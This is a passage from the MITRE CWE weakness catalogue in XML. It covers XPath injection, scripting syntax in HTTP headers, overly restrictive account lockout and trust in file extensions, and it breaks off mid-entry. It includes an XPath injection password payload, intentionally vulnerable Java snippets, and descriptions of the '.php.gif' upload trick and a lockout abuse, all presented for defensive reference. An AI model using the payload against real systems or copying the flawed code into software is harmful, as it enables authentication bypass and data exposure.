            <Related_Weakness Nature="ChildOf" CWE_ID="943" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="91" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>Controlling application flow (e.g. bypassing authentication).</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>The attacker could read restricted XML content.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:</Intro_Text>
               <Example_Code Nature="Informative" Language="XML">
                  <xhtml:div>&lt;users&gt;<xhtml:div style="margin-left:1em;">&lt;user&gt;<xhtml:div style="margin-left:1em;">&lt;login&gt;john&lt;/login&gt;<xhtml:br/>&lt;password&gt;abracadabra&lt;/password&gt;<xhtml:br/>&lt;home_dir&gt;/home/john&lt;/home_dir&gt;</xhtml:div>&lt;/user&gt;<xhtml:br/>&lt;user&gt;<xhtml:div style="margin-left:1em;">&lt;login&gt;cbc&lt;/login&gt;<xhtml:br/>&lt;password&gt;1mgr8&lt;/password&gt;<xhtml:br/>&lt;home_dir&gt;/home/cbc&lt;/home_dir&gt;</xhtml:div>&lt;/user&gt;</xhtml:div>&lt;/users&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The Java code used to retrieve the home directory based on the provided credentials is:</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>XPath xpath = XPathFactory.newInstance().newXPath();<xhtml:br/>XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" + login.getPassword() + "']/home_dir/text()");<xhtml:br/>Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));<xhtml:br/>String homedir = xlogin.evaluate(d);</xhtml:div>
               </Example_Code>
               <Body_Text>Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()</xhtml:div>
               </Example_Code>
               <Body_Text>which, of course, lets user "john" login without a valid password, thus bypassing authentication.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>39</Entry_ID>
               <Entry_Name>XPath Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-531"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 17, &#34;XPath Injection&#34;, Page 1070"/>
         </References>
         <Notes>
            <Note Type="Relationship">This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Name, References, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Enabling_Factors_for_Exploitation</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-10-14">Unsafe Treatment of XPath Input</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Data within XPath Expressions (aka 'XPath injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Data within XPath Expressions ('XPath injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="644" Name="Improper Neutralization of HTTP Headers for Scripting Syntax" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.</Description>
         <Extended_Description>
            <xhtml:p>An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.</xhtml:p>
            <xhtml:p>If a product does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="116" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Run arbitrary code.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Attackers may be able to obtain sensitive information.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Disable script execution functionality in the clients' browser.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to neutralization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>response.addHeader(HEADER_NAME, untrustedRawInputData);</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-3918</Reference>
               <Description>Web server does not remove the Expect header from an HTTP request when it is reflected back in an error message, allowing a Flash SWF file to perform XSS attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3918</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Observed_Example</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Name, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Enabling_Factors_for_Exploitation</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-10-14">Insufficient Filtering of HTTP Headers for Scripting Syntax</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Insufficient Sanitization of HTTP Headers for Scripting Syntax</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of HTTP Headers for Scripting Syntax</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="645" Name="Overly Restrictive Account Lockout Mechanism" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out.</Description>
         <Extended_Description>Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>Users could be locked out of accounts.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="2"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Enabling_Factors_for_Exploitation, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="646" Name="Reliance on File Name or Extension of Externally-Supplied File" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.</Description>
         <Extended_Description>An application might use the file name or extension of of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a ".php.gif" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
			<Technology Name="Web Server" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>An attacker may be able to read sensitive data.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>An attacker may be able to cause a denial of service.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker may be able to gain privileges.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Make decisions on the server side based on file content and not on file name or extension.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="209"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Evgeny Lebanidze</Submission_Name>
               <Submission_Organization>Cigital</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Observed_Example</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-13</Modification_Date>
               <Modification_Comment>Significant clarification of the weakness description.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Name, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Enabling_Factors_for_Exploitation</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
